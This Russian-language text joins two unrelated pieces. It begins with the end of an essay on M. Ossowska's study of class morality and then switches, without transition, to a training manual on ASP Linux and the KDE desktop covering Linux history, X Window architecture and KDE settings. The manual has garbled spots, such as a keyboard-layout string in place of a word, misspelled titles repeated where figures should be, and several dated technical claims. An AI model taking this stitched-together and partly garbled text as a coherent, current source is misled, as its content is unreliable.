Свою работу М. Оссовская не рассматривает как историческую. Речь идет о выявлении некоторых классических разновидностей классовой морали. Это способствует более верному воспроизведению определенной моральной действительности, и сравнительным исследованиям с целью установления неких закономерностей, что так соблазнительно для любого ученого. Свою книгу М. Оссовская рассматривает как систематический труд, основанный на конкретном историческом материале. Представляя этот материал — например, излагая взгляды Дефо, Франклина или Вольнея, — она напоминала лишь об исторических событиях и процессах, необходимых для понимания их писательской деятельности.

Заключение

В совокупности работы, которые расположены в исторической последовательности, не совпадающей с хронологией их написания («Рыцарский этос» написан позже «Буржуазной морали»), дают достаточно конкретное и живое представление о нравах в эпоху классовой цивилизации и — самое главное — обозначают основную тенденцию их развития.

Сегодня, кажется, все согласны с тем, что этика есть наука о морали (нравственности). Но вопрос о том, что представляет собой нравственность, остается невыясненным; речь идет не о теоретическом определении (хотя и здесь много спорных проблем), а об установлении эмпирических границ, фиксации качественного своеобразия явления. Парадокс, который мы обнаруживаем в творчестве М.Оссовской, вообще свойствен развитию этики, и он состоит в том, что этика смело, рассуждает о сущности морали, но не умеет вычленить ее как эмпирическое явление. Зеркало морального сознания — кривое зеркало. И это не единственная трудность, препятствующая тому, чтобы нравственность из обыденного факта стала фактом науки.

Учебное пособие: Оперциаонные системы ASP Linux и Windows

Содержание

Введение

Раздел 1. Работа с графическим интерфейсом KDE ASP Linux

Тема 1.1. Вводное занятие

1.1.1. Цели и задачи практики. Вводный инструктаж. Техника безопасности

1.1.2. Семейство ОС Unix. ОС Linux

Тема 1.2. Знакомство с графическим интерфейсом ASP Linux

1.2.1. Графический интерфейс ASP Linux

Раздел 2. Работа с терминалом ASP Linux

Тема 2.1. Работа с файлами и папками ASP Linux

2.1.1. Команды работы с каталогами

2.1.4. Команды работы с файлами: управление файлами, генерация имен файлов

2.1.7. Команды работы с файлами: ссылки, сортировка файлов

Тема 2.2. Управление процессами

2.2.1. Управление процессами

Тема 2.3. Права доступа к файлам и каталогам

2.3.1. Команды управления правами доступа

Тема 2.4. Редактирование файлов средствами редактора vi

2.4.1. Текстовый редактор vi

Тема 2.5. Изучение сетевых команд shell

2.5.1. Сетевые команды Shell

Раздел 3. Сервисные и прикладные программы ASP Linux

Тема 3.1. Архивация данных

3.1.1. Архиваторы ASP Linux

Тема 3.2. Знакомство с текстовым редактором ASP Linux пакта OpenOffice

3.2.1. Работа с текстовым редактором OpenOffice.org Writer: основные принципы работы

Тема 3.3. Итоговое зачетное занятие

Итоговое задание по практике

Литература

Технические средства обучения

Введение

Операционные системы разработаны для огромного количества разнообразных компьютерных систем. Наиболее известными операционными системами для компьютеров являются семейства операционных систем Microsoft Windows и UNIX.

Операционные системы, объединенные общим наименованием UNIX имеют ряд преимуществ перед обычно устанавливаемыми на персональные компьютеры ОС типа Windows. Изучаемая операционная система Linux с одной стороны относится к классу UNIX, а с другой — работает на персональных компьютерах на основе процессоров Intel (хотя сейчас уже существуют ее варианты и для других процессоров).

На сегодняшний момент Linux — самая современная, устойчивая и быстроразвивающаяся система, почти мгновенно вбирающая в себя самые последние технологические новшества.

Цель методических указаний – научить студента работать в среде ASP Linux, привить навыки работы с сервисным и прикладным программным обеспечением этой операционной систем, провести параллелизм в работе и функциональных возможностях изученной среды и ОС Windows, научить проводить аналогии между сходными по назначению программами, что поможет быстрее адаптироваться к новым инструментальным средствам, которые неизбежно придут на смену сегодняшнему программному обеспечению. Предполагается, что студенты уже знакомы с понятием компьютер, работали с MS-DOS или MS Windows. Методические указания содержат теоретические сведения по указанным темам и практические работы, в качестве закрепления полученного теоретического и практического материала по каждой теме приведены контрольные вопросы. В качестве итогового контроля в методических указаниях приведены примеры индивидуальных практических заданий студентов.

Раздел 1. Работа с графическим интерфейсом KDE ASP Linux

Тема 1.1. Вводное занятие

Цели и задачи практики. Вводный инструктаж. Техника

безопасности

Учебная практика «Операционные системы и среды» предназначена для реализации государственных требований к минимуму содержания и уровню подготовки выпускника по специальности 090108 «Информационная безопасность» среднего профессионального образования. Практика является продолжением изучения дисциплины «Операционные системы и среды».

Цели и задачи практики:

В результате прохождения практики студент должен приобрести навыки:

закрепить знания, полученные на теоретических занятиях по предмету «Операционные системы и среды;

получить практические навыки по работе в среде ASP Linux 9.0 (интерфейс KDE)

получить навыки работы с текстовыми редакторами, такими как vi, OpenOffice.org Writer;

получить навыки работы с программами-архиваторами tar, gzip, bzip, bzip2;

изучить команды работы с файлами и каталогами, команды управления процессами программы Терминал.

База практики

Практика проводиться с использованием ПЭВМ типа IBM PC на базе процессора 386 и выше со следующими периферийными устройствами:

монитор SVGA? Hfphtitybt 800*600, цветной (16 цветов);

манипулятор типа «Мышь»;

клавиатура стандартная;

И с использованием следующих программных средств:

операционной системы ОС ASP Linux

KDE 3.3.1.

Офисный пакет OpenOffice

Организация практики

Практика рассчитана на 72 часа и проводится в течение двух недель. В начале практики проводиться инструктаж по соблюдению правил техники безопасности и промсанитарии, разъясняются цели и задачи практики. В течение всей практики проводиться выдача ежедневных практических заданий и проверка их выполнения. По окончании практики проводиться итоговый контроль работы практикантов.

Ежедневные занятия (6 часов) построены следующим образом:

— теоретическая часть: закрепление материала, полученного ранее, освоение нового материала, выдача задания и объяснение его выполнения (2 часа);

— практическая часть с применением ПЭВМ: выполнение постановки задачи, декомпозиция задачи на подзадачи, решение подзадач на ПЭВМ.

Теоретическая часть проводиться в аудитории. Практическая часть с применением ПЭВМ проводиться в лаборатории УВЦ АКВТ.

Для оптимизации усвоения материала группа разбивается на две подгруппы, в каждой из которых работает отдельный преподаватель.

Организация итогового контроля практикантов

Итоговый контроль работы студентов проводиться в последний день практики. Студент предоставляет отчет о проделанной работе и выполняет индивидуальное задание, выданное преподавателем.

1.1.2. Семейство ОС Unix. ОС Linux

Операционная система — это комплекс программ, который обеспечивает управление аппаратными средствами компьютера, организует работу с файлами (в том числе запуск и управление выполнением программ), реализует взаимодействие с пользователем, т.е. интерпретацию вводимых пользователем команд и вывод результатов обработки этих команд.

Наиболее известными операционными системами для компьютеров являются семейства операционных систем Microsoft Windows и UNIX. Первые ведут свою родословную от операционной системы MS-DOS, которой оснащались первые персональные компьютеры фирмы IBM. Операционная система UNIX была разработана группой сотрудников Bell Labs под руководством Денниса Ричи, Кена Томпсона и Брайана Кернигана (Dennis Ritchie, Ken Thompson, Brian Kernighan) в 1969 году. В конце 70-х годов сотрудники Калифорнийского университете в Беркли внесли ряд усовершенствований в исходные коды UNIX, включая работу с протоколами семейства TCP/IP. Их разработка стала известна под именем BSD («Berkeley Systems Distribution»). Она распространялась под лицензией, которая позволяла дорабатывать и усовершенствовать продукт, и передавать результат третьим лицам (с исходными кодами или без них) при условии, что будет указано, какая часть кода разработана в Беркли.

Операционные системы типа UNIX, в том числе и BSD, изначально разрабатывались для работы на больших многопользовательских компьютерах — мейнфреймах. Но персональные компьютеры постепенно наращивали мощь своего аппаратного обеспечения, и в наши дни они уже превосходят по возможностям те мейнфреймы, для которых в 70-х годах разрабатывалась ОС UNIX. В начале 90-х годов студент хельсинкского университета Линус Торвальдс (Linus Torvalds) приступил к разработке UNIX-подобной ОС для IBM-совместимых персональных компьютеров.

Основные характеристики ОС Linux

На сегодняшний момент Linux — самая современная, устойчивая и быстроразвивающаяся система, почти мгновенно вбирающая в себя самые последние технологические новшества. Исходные коды Linux распространяются свободно и общедоступны. Linux обладает всеми возможностями, которые присущи современным полнофункциональным операционным системам типа UNIX, такими как:

1). Реальная многозадачность

Ядро осуществляет режим разделения времени центрального процессора, поочередно выделяя каждому процессу интервалы времени для выполнения.

2). Многопользовательский доступ

Linux  поддерживает возможность одновременной работы многих пользователей. При этом Linux может предоставлять все системные ресурсы пользователям, работающим с хостом через различные удаленные терминалы.

3). Свопирование оперативной памяти на диск

Свопирование оперативной памяти на диск позволяет работать при ограниченном объеме физической оперативной памяти; для этого содержимое некоторых частей (страниц) оперативной памяти записываются в выделенную область на жестком диске, которая трактуется как дополнительная оперативная память. Это несколько снижает скорость работы, но позволяет организовать работу программ, требующих большего объема ОЗУ, чем фактически имеется в компьютере.

4). Страничная организация памяти

Системная память Linux организована в виде страниц объемом 4K. Если оперативная память полностью исчерпана, ОС будет искать давно не использованные страницы памяти для их перемещения из памяти на жесткий диск. Если какие-либо из этих страниц становятся нужны, Linux восстанавливает их с диска. Некоторые старые Unix-системы и некоторые современные платформы (включая Microsoft Windows) переносят на диск все содержимое ОП, относящееся к неработающему в данный момент приложению, (т. е. ВСЕ страницы памяти, относящиеся к приложению, сохраняются на диске при нехватке памяти) что менее эффективно.

5). Загрузка выполняемых модулей «по требованию»

Ядро Linux поддерживает выделение страниц памяти по требованию, при котором только необходимая часть кода исполняемой программы находится в оперативной памяти, а не используемые в данный момент части остаются на диске.

6). Совместное использование исполняемых программ

Если необходимо запустить одновременно несколько копий какого-то приложения (либо один пользователь запускает несколько идентичных задач, либо разные пользователи запускают одну и ту же задачу), то в память загружается только одна копия исполняемого кода этого приложения, которая используется всеми одновременно исполняющимися идентичными задачами.

7). Общие библиотеки

Библиотеки — наборы процедур, используемых программами для обработки данных. Существует некоторое количество стандартных библиотек, используемых одновременно более чем одним процессом. В старых системах такие библиотеки включались в каждый исполняемый файл, одновременное выполнение которых приводило к непродуктивному использованию памяти. В новых системах (в частности, в Linux), обеспечивается работа с динамически и статически разделяемыми библиотеками, что позволяет сократить размер отдельных приложений.

8). Динамическое кэширование диска

Кеширование диска — это использование части оперативной памяти для хранения часто используемых данных с диска, что существенно ускоряет доступ к часто используемым программам и задачам. Пользователи MS-DOS работают со SmartDrive, который резервирует фиксированные области системной памяти для кеширования диска. Linux использует более динамичную систему кеширования: память, зарезервированная под кеш, увеличивается, когда память не используется, и уменьшается, если системе или процессу пользователя требуется больше памяти.

9). 100%-ное соответствие стандарту POSIX 1003.1. Частичная поддержка возможностей System V и BSD

POSIX 1003.1 (Portable Operating System Interface — интерфейс мобильной операционной системы) задаeт стандартный интерфейс Unix-систем, который описывается набором процедур языка Си. Сейчас он поддерживается всеми новыми ОС. Microsoft Windows NT также поддерживает POSIX 1003.1. Linux 100%-но соответствует POSIX. Дополнительно поддерживаются некоторые возможности System V и BSD для увеличения совместимости.

10). System V IPC

Linux использует технологию IPC (InterProcess Communication) для обмена сообщениями между процессами, использования семафоров и общей памяти.

11). Возможность запуска исполняемых файлов других ОС

Linux не является первой в истории операционной системой. Для ранее разработанных ОС, включая DOS, Windows 95, FreeBSD или OS/2, разработана масса различного, в том числе очень полезного и очень неплохого программного обеспечения. Для запуска таких программ под Linux разработаны эмуляторы DOS, Windows 3.1 и Windows 95. Более того, фирмой Vmware разработана система «виртуальных машин», представляющая собой эмулятор компьютера, в котором можно запустить любую операционную систему. Имеются аналогичные разработки и у других фирм. ОС Linux способна также выполнять бинарные файлы других Intel-ориентированных Unix-платформ, соответствующих стандарту iBCS2 (intel Binary Compatibility).

12). Поддержка различных форматов файловых систем

Linux поддерживает большое число форматов файловых систем, включая файловые системы DOS и OS/2, а также современные журналируемые файловые системы. При этом и собственная файловая система Linux, которая называется Second Extended File System (ext2fs), позволяет эффективно использовать дисковое пространство.

13). Сетевые возможности

Linux можно интегрировать в любую локальную сеть. Поддерживаются все службы Unix, включая Networked File System (NFS), удалeнный доступ (telnet, rlogin), работа в TCP/IP сетях, dial-up-доступ по протоколам SLIP и PPP, и т. д.. Также поддерживается включение Linux-машины как сервера или клиента для другой сети, в частности, работает общее использование (sharing) файлов и удаленная печать в Macintosh, NetWare и Windows.

14). Работа на разных аппаратных платформах

Хотя ОС Linux первоначально была разработана для ПК на базе Intel 386/486, сейчас она может работать на всех версиях Intel-овских микропроцессоров, начиная с 386 и кончая многопроцессорными системами на Pentium III (с Pentium IV возникли определенные трудности, но, судя по сообщениям в Интернете, они были вызваны ошибками в реализации процессора). Так же успешно Linux работает на различных клонах Intel от других производителей; в Интернете встречаются сообщения о том, что на процессорах Athlon и Duron от AMD Linux работает даже лучше, чем на Intel. Кроме того, разработаны версии для других типов процессоров — ARM, DEC Alpha, SUN Sparc, M68000 (Atari и Amiga), MIPS, PowerPC и других (отметим, что в настоящей книге рассматривается только вариант для IBM-совместимых компьютеров).

Дистрибутивы Linux

В любой операционной системе можно выделить 4 основных части: ядро, файловую структуру, интерпретатор команд пользователя и утилиты. Ядро — это основная, определяющая часть ОС, которая управляет аппаратными средствами и выполнением программ. Файловая структура — это система хранения файлов на запоминающих устройствах. Интерпретатор команд или оболочка — это программа, организующая взаимодействие пользователя с компьютером. И, наконец, утилиты — это просто отдельные программы, которые, ничем не отличаются от других программ, запускаемых пользователем, за исключением их основного назначения — они выполняют служебные функции.

Слово «Linux» обозначает только ядро. Поэтому правильнее было бы говорить «операционная система, основанная на ядре Linux». Ядро ОС Linux разрабатывается под общим руководством Линуса Торвальдса и распространяется свободно (на основе лицензии GPL), как и огромное количество другого программного обеспечения, утилит и прикладных программ. Одним из следствий свободного распространения ПО для Linux явилось то, что большое число разных фирм и компаний, а также просто независимых групп разработчиков стали выпускать так называемые дистрибутивы Linux.

Дистрибутив — это набор программного обеспечения, включающий все 4 основные составные части ОС, т. е. ядро, файловую систему, оболочку и совокупность утилит, а также некоторую совокупность прикладных программ. В мире существует уже более сотни различных дистрибутивов Linux, и все время появляются новые. На сегодняшний день заслуживают внимания только три дистрибутива: Red Hat Linux Cyrillic Edition, Linux Mandrake Russian Edition (и его потомок ALTLinux) и ASPLinux. Для данных дистрибутивов характерно:

принадлежность к семейству дистрибутивов, строящихся на основе Red Hat Linux (Red Hat — это самый распространенный в мире дистрибутив).

Эти дистрибутивы изначально русифицированы.

В каждом из них имеется достаточно отлаженная процедура установки, автоматически распознающая большинство компонент аппаратного обеспечения, что очень облегчает процедуру инсталляции системы.

Легко устанавливается (добавляется) дополнительное программное обеспечение, так как оно поставляется в RPM-пакетах (технология распространения ПО, аналог программы setup под Windows).

Эти дистрибутивы поддерживаются сформировавшимися командами разработчиков и постоянно обновляются.

Нумерация версий.

Различают номера версий дистрибутивов и номера версий ядра. Обычно под версией Linux имеют в виду версию ядра (версии ядра развиваются последовательно, а не ветвятся и множатся, как дистрибутивы).

Версии ядра Linux принято обозначать тремя числами, разделенными точкой. Например, дистрибутив Black Cat версии 5.2 был построен на основе ядра версии 2.0.36, т. е. это был Linux версии 2.0.36. Версии ядра с нечетным значением второй цифры обычно не используются для создания дистрибутивов, потому что являются экспериментальными (отладочными). Версии с четной второй цифрой являются (считаются) устойчиво работающими.

Тема 1.2. Знакомство с графическим интерфейсом ASP Linux

1.2.1. Графический интерфейс ASP Linux

Работать с ОС Linux только через интерфейс командной строки довольно трудно. Все необходимые операции в данном случае выполняются путем запуска отдельных команд, перечень которых огромен, и которые надо помнить наизусть.

Широко известной альтернативой интерфейсу командной строки является графический интерфейс. Графический интерфейс обеспечивает дополнительные удобства для пользователя, в частности, возможность запуска программ в отдельных окнах, обозначения программ (или других объектов) в виде маленьких картинок (пиктограмм, значков, иконок), возможность оперировать с объектами с помощью мыши, а также гораздо большую плотность информации на том же пространстве экрана.

Для ОС Linux существуют средства, обеспечивающие дружественный к пользователю графический интерфейс, который на первый взгляд очень похож на широко известный графический интерфейс Microsoft Windows, но его внутреннее устройство принципиально отличается.

1.2.1.1. XFree86 и его составные части

Графический интерфейс в Linux строится на основе стандарта X Window System или просто «X», первоначальный вариант которого был разработан в 1987 году в Массачусетском технологическом институте. Начиная со второй версии этот стандарт поддерживался консорциумом X, созданным в январе 1988 г. с целью унификации графического интерфейса для ОС UNIX. С 1997 года консорциум X преобразован в X Open Group. В настоящее время действует версия 11 выпуск 6 стандарта на графическую подсистему для UNIX-систем, которая кратко обозначается как X11R6.

Свободно распространяемая реализация стандарта X11R6 для UNIX-систем с процессорами 80386/80486/Pentium (в том числе для ОС Linux) была создана группой программистов, которую вначале возглавлял Дэвид Вексельблат (David Wexelblat). Эта реализация известна как XFree86, и может использоваться не только в Linux, но и в System V/386, 386BSD, FreeBSD и других версиях UNIX для систем на базе процессоров Intel x86. В настоящее время выпущена уже 4-ая версия XFree86, однако, и 3-я версия еще широко используется и входит в состав основных дистрибутивов Linux.

Система X Window построена на основе модели «клиент/сервер». X сервер работает на компьютере пользователя (а не на каком-то удаленном «сервере») и обеспечивает вывод изображения на экран монитора. X-сервер работает непосредственно с «железом»: видеосистемой, устройствами ввода и динамиком. Эта программа захватывает оборудование и предоставляет его возможности другим программам как ресурсы по особому протоколу, который называется X-протокол, или протокол сетевой связи (X Network Protocol). Специализированный компьютер, на котором исполняется исключительно X-сервер, называется (аппаратным) X-терминалом.

X-сервер не формирует изображение, он только «доставляет» графику видео-драйверу. Если запустить только X-сервер, вы увидите просто серый экран с крестиком курсора посредине. С помощью мыши крестик можно перемещать по экрану. На нажатие кнопок мыши и клавиш реакции не следует — сервер готов передавать эти сигналы своим клиентам, а клиенты пока не запущены. Хотя некоторые комбинации клавиш X перехватывает и обрабатывает, к ним относятся <Ctrl>+<Alt>+<Backspace> — завершение работы сервера, <Ctrl>+<Alt>+<+> и <Ctrl>+<Alt>+<-> — «горячее» переключение доступных видеорежимов, и <Control>+<Alt>+<F#> — переключение в другую виртуальную консоль.

Таким образом одного X-сервера недостаточно для работы, необходим запуск менеджера окон и хотя бы одной программы-клиента, которая будет формировать изображение. В роли «клиентов» X-сервера выступают приложения, работающие с X Window, например графический редактор GIMP, текстовый редактор Corel WordPerfect, эмулятор терминала xterm и другие.

Между клиентами и сервером стоят еще два очень важных компонента графического интерфейса: библиотека графических функций X-lib и менеджер окон (рис. 1.2.1.1). X-Lib содержит графические функции, которые обеспечивают выполнение низкоуровневых операций с графическими образами. Менеджер окон вызывает функции из X-Lib для управления дисплеем и выполнения любых преобразований изображений в окнах.

При запуске X-приложение передает управление менеджеру окон, который обеспечивает выполнение всех операций с окнами: прорисовку рамок, меню, иконок, полос прокрутки и других элементов окна, а также предоставляет возможность изменять вид и положение окна в процессе работы в соответствии с потребностями пользователя. Менеджер окон также вызывает соответствующие функции для программ-клиентов в тех случаях, когда пользователь взаимодействует с приложением с помощью клавиатуры и мыши.

Расширенные графические среды типа Motif, CDE, KDE, GNOME, GNUStep и т. д. не замещают перечисленные выше компоненты системы X Window, а расширяют и дополняют их. KDE, например, добавляет библиотеку графических функций Qt в дополнение к X-Lib. Motif имеет собственный набор графических функций. GNOME использует библиотеку GTk+, которая составляет основу GIMP. Кроме того, в GNOME используется также CORBA (The Common Object Request Broker Architecture — универсальная архитектура посредничества при запросе объектов) и библиотека Imlib для дальнейшего расширения возможностей графической подсистемы.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.1. Архитектура графической системы в Linux

Поскольку клиент и сервер являются отдельными процессами, они могут работать на разных компьютерах, взаимодействовуя по сети. Приложения можно запустить, например, на мейнфрейме, а картинка будет выводиться на экран персонального компьютера. Эта очень мощная особенность системы X Window является одним из основных отличий ее от MS Windows.

В Linux (и вообще в UNIX) нет жесткого деления между графическими и текстовыми программами, как в MS Windows или OS/2. С точки зрения системы нет разницы между программой, работающей в графике, и обычной. Программы для графического режима запускают как обычные программы, т. е. из командной строки, из Midnight Comander’а и т.п. Единственным необходимым условием для их работы является то, что должен работать X-сервер. При необходимости программа сама обращается к X-серверу.

На рис. 1.2.1.1 схематично представлена архитектура графической системы в Linux. Еще одним важным ресурсом графической подсистемы являются шрифты. Оперировать со шрифтами может как непосредственно X-сервер, так и специальная программа, которая называется сервер шрифтов.

Для каждого из типовых компонентов графической системы существует множество конкретных реализаций. В состав пакета XFree86 версии 3 входят несколько различных серверов, причем выбор конкретного сервера зависит от того, какие у вас видеоплата и монитор. Например, сервер XF86_Mono — это сервер для монохромных видео-режимов; XF86_S3 — сервер для карт, основанных на S3; XF86_S3V — сервер для S3 ViRGE и ViRGE/VX; XF86_SVGA — сервер для карт, работающих в режимах Super-VGA.

В четвертой версии XFree86 уже один X-сервер для большинства видеоадаптеров, называется он XFree86 и располагается в каталоге /usr/X11R6/bin/. Обычно на него делается ссылка с именем X, так что запустить X-сервер можно просто введя в командной строке букву X.

Различных менеджеров окон тоже существует очень много, например:

fvwm — Free Virtual Window Manager.

fvwm2 — улучшенный вариант fvwm, позволяющий, в частности, использовать различные темы рабочего стола и динамические меню.

fvwm95 — менеджер окон с графическим интерфейсом в стиле Windows 95.

IceWM — это оконный менеджер, который может эмулировать различные стандарты оконных систем (в частности, OS/2 Workplace Shell), имеет, по некоторым отзывам, довольно маленький обьем и быстро работает.

Enlightenment — один из самых развитых менеджеров окон.

Разные менеджеры окон могут обеспечивать различный вид окон за счет использования различных рамок и оконных меню. Но все они используют одну и ту же базовую графическую утилиту X Window — X сервер.

Графический интерфейс в Linux строится по модульному принципу. Возможна самостоятельная сборка графического интерфейса из отдельных компонент. В настоящее время разработаны (и включены практически во все дистрибутивы) так называемые интегрированные графические среды. Наиболее известными представителями таких сред являются KDE и GNOME. При создании таких интегрированных графических сред различные и независимые разработчики используют единый подход, единую идеологию создания и оформления программных продуктов. В результате получается функционально полный пакет программ, в рамках которого решены практически все задачи управления компьютером и программной средой.

Основу интегрированной графической среды KDE (K Desktop Enviroment) образует расширенная библиотека графических функций Qt фирмы Troll Tech. С использованием этой библиотеки построены собственный оконный менеджер kwm, файл-менеджер kfm, центр управления KDE (аналог панели управления Windows) и множество других компонентов, вплоть до собственного офисного пакета KOffice.

В состав версии 2.1 KDE включен файловый менеджер Konqueror, который предоставляет уникальные возможности доступа к файлам. Кроме того, что он позволяет просматривать файлы большинства известных форматов на локальных дисках, он является и интернет-браузером, по своим возможностям вполне сравнимым с Internet Explorer или Netscape Navigator.

Другой графической средой того же класса, что и KDE, является пакет GNOME (GNU Network Object Model Environment), который разрабатывается в рамках проекта GNU, а значит, относится к классу свободно распространяемого ПО (KDE до недавнего времени не полностью соответствовал этому понятию, потому что библиотека Qt распространялась не на условиях GPL; хотя сейчас ситуация изменилась и KDE тоже является свободно распространяемым). GNOME строится на основе библиотеки графических функций GTK+.

Существуют и другие разработки интегрированных графических сред, которые, однако, пока не достигли той степени развития, как KDE или GNOME, например, Xfce, dfm и другие.

До недавнего времени установка и настройка графического интерфейса Linux представляла собой довольно непростую задачу. Однако программы инсталяции последних версий дистрибутивов Linux (например, русифицированой версии Red Hat Linux 7.1) уже вполне успешно с ней справляются, автоматически определяя тип монитора и видеоадаптера и выбирая подходящее разрешение экрана.

1.2.1.2. Графическая среда KDE

KDE — это интегрированная графическая оболочка для Linux (и других версий UNIX), которая в настоящее время включает в себя более 100 графических приложений и поддерживает более 40 различных языков. Она разрабатывается в рамках движения Open Source, т. е. распространяется с открытыми исходными кодами. KDE позволяет совместить современную функциональность, удобство использования и отличный дизайн с технологическими преимуществами операционной системы класса UNIX.

Внешний вид

Внешним видом экрана после запуска KDE представлен на рис. 1.2.1.2.1

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.1. Внешний вид графической среды KDE

Экран можно условно поделить на две части.

Панель в нижней части экрана служит для запуска приложений и переключения между рабочими столами. На паанели расположен значок с изображением буквы «К». Этот значок (аналог кнопки Start в Windows) служит для вызова иерархического меню, через которое можно запустить любое приложение из числа входящих в состав KDE, даже если значок приложения отсутствует на панели.

Вся оставшаяся поверхность экрана, на которой располагается некоторое число значков («иконок»), которые тоже могут использоваться для запуска соответствующих им приложений. — это рабочий стол (Desktop) 

KDE поддерживает несколько рабочих столов, переключаться между которыми можно с помощью пронумерованных клавиш, расположенных на панели (на рис. 1.2.1.2.1 изображены четыре такие клавиши, хотя это число можно изменить).

Правее переключателя рабочих столов располагается поле, которое называется панелью задач (taskbar). Оно служит для отображения перечня запущенных в данный момент приложений и переключения между ними. Каждому запущенному приложению соответствует кнопка, щелчок по которой переводит данное приложение в активное состояние.

Для тех, кто привык работать в Windows, может показаться непривычным то, что для запуска приложения достаточно щелкнуть по значку («иконке») только один раз. Но к этому быстро привыкаешь, а и при желании можно настроить оболочку на два щелчка.

В правом конце панели задач находятся часы и небольшая вертикально вытянутая кнопка с треугольником-стрелкой. Такая же кнопка имеется и в левом конце панели. Щелчок по любой из этих кнопок приводит к тому, что панель сворачивается, как бы убегая за границу соответствующей стороны экрана. Видимой остается только такая же кнопка с треугольником. Щелчком по этой кнопке можно вернуть панель на экран.

Если вы подведете указатель мыши к любому значку или кнопке на панели задач и выждете некоторое время, появится подсказка, поясняющая назначение значка или название соответствующей задачи. А если щелкнуть правой кнопкой мыши по любому элементу на экране, в том числе и по пустому полю, появляется меню, в котором можно выбрать одно из действий, применимых к данному элементу. В частности, щелчок по пустому полю приводит к появлению меню настроек рабочего стола.

Панель можно настраивать по своему усмотрению. Но описанием способов настройки мы пока заниматься не будем. Давайте вначале посмотрим на главное меню KDE.

Главное меню KDE

Доступ к главному меню KDE получаем, щелкнув по значку с буквой «K» (рис. 1.2.1.2.2).

Некоторые элементы меню имеют треугольник после названия. Это говорит о том, что данный элемент вызывает вложенное меню следующего уровня.

В меню RDE имеются аналоги команд, имеющихся в главном меню Windows: Поиск файла, Помощь, Запустить программу…

Команды Каталог и Домашний каталог служат для быстрого перехода в нужный каталог и просмотра его содержимого с помощью файлового менеджера Konqueror.

В верхней части главного меню появляется отделенный горизонтальной чертой список часто запускаемых или недавно вызывавшихся команд.

Смысл подавляющего числа команд меню не требует особых пояснений — они вызывают соответствующее приложение. Рассмотрим такие приложения как Центр управления и Настройки панели.

Оперциаонные системы ASP Linux и Windows

Рис 1.2.1.2.2. Главное меню KDE

Центр управления KDE

Типичный вид окна при работе с Центром управления KDE изображен на рис. 1.2.1.2.3: слева расположено меню, а справа — поле вкладок, каждая из которых обычно служит для настройки какого-то конкретного элемента графической среды.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.3. Один из экранов Центра управления KDE (щелкните по рисунку для просмотра)

Настройка фона или темы рабочего стола выполняется с помощью команд Фон и Менеджер тем меню Внешний вид и интерфейс главного меню Центра управления. На приведенных выше рисунках вы можете видеть результат. Одновременно можно выбрать основные цвета (команда Цвета) и стиль оформления графических элементов (команда Стиль).

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.4. Задание шрифтов для разных элементов экрана

. На рис. 1.2.1.2.4 вы видите правую панель Центра управления, соответствующую команде Шрифты, которая позволяет выбрать шрифты, которыми будут выводиться различные надписи

Для изменения какого-либо шрифта надо щелкнуть по экранной кнопке Выбрать. Появится окно, изображенное на рис. 1.2.1.2.5, в котором и осуществляется такой выбор. После того, как выбор шрифта произведен, нужно щелкнуть по кнопке Ok. Для того, чтобы изменения вступили в силу, надо нажать кнопку Применить на панели Центра управления (рис. 1.2.1.2.4). Это касается не только шрифтов, но и любых других изменений, производимых с помощью Центра управления.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.5. Окно выбора шрифтов

Вид и содержание главного меню KDE тоже можно настраивать (см. рис. 1.2.1.2.6.) Как видно из рис. 1.2.1.2.6. состав и содержание элементов меню здесь изменить невозможно. Для этого можно вызвать отдельную программу — Редактор меню KDE, что делается через команду Настройка панели | Редактор меню того же главного меню.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.6. Настройка главного меню

Окно программы Редактор меню KDE представлено на рис. 1.2.1.2.7. Здесь можно как создать новую команду меню, так и новое подменю, указать название приложения и имя запускаемого файла, а также назначить запуск программы от имени другого пользователя.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.7. Редактор меню KDE

На вкладке Расширенные можно назначить «горячую» клавишу, по которой можно будет вызывать приложение, не прибегая к помощи меню и мыши.

Настройка панели и значков на рабочем столе

Для настройки панели главного меню можно щелкнуть правой клавишей мыши по свободному полю на панели, и появится выпадающее меню, изображенное на рис. 1.2.1.2.8, в котором тоже имеется команда Настройки, и которая по содержанию идентична команде Настройка панели главного меню. Если вызвать эту команду, появится окно, изображенное на рис. 1.2.1.2.9.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.8. Выпадающее меню для Панели

С помощью вкладки «Общие» можно переместить панель к любой границе экрана, изменить ее размер, задать скорость движения при автоскрытии и определить терминальное приложение. На вкладке «Внешний вид и интерфейс»» задаются еще несколько аналогичных параметров.

Первая команда контекстного меню, изображенного на рис. 1.2.1.2.8, «Добавить». Всплывающее подменю позволяет добавить можно как отдельный элемент (т. е. кнопку или иконку) на панель задач, так и четыре вида дополнительных панелей (или четыре вида расширений основной панели). Одна из таких панелей — дополнительная панель задач (на рис. 1.2.1.2.10 она расположена над основной панелью).

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.9. Окно настроек панели

Щелчок на сером прямоугольнике в левом конце этой дополнительной панели дает возможность удалить дополнительную панель или добавить на нее что-то (кнопку мыши надо удерживать). С помощью таких же серых прямоугольников можно получить доступ к меню других элементов главной панели.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.10. Дополнительная панель задач (щелкните по рисунку для просмотра)

Меню управления кнопками на панели появляются после щелчка правой кнопкой мыши по самой кнопке (рис. 1.2.1.2.11).

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.11. Выпадающее меню для кнопки на Панели

Первый элемент в этом меню (Панель меню) вызывает меню настроек панели, следующие два служат для перемещения или удаления данной конкретной кнопки, а последний вызывает окно, изображенное на рис. 1.2.1.2.12. В этом окне можно изменить некоторые параметры той кнопки, щелчок по которой вызвал появление меню. Изменить можно рисунок на кнопке, вызываемую по ней программу, права, с которыми программа запускается, и список типов файлов, ассоциированных с данным приложением.

Оперциаонные системы ASP Linux и Windows

Рис. 1.2.1.2.12. Свойства ссылки

Значки («иконки») на рабочем столе тоже могут использоваться для запуска приложений или быстрого доступа к некоторым файлам или каталогам. Создать их можно щелкнув по пустому пространству рабочего стола, и создав новую ссылку на приложение, файл или устройство, как это показано на рис. 1.2.1.2.13.

Оперциаонные системы ASP Linux и Windows

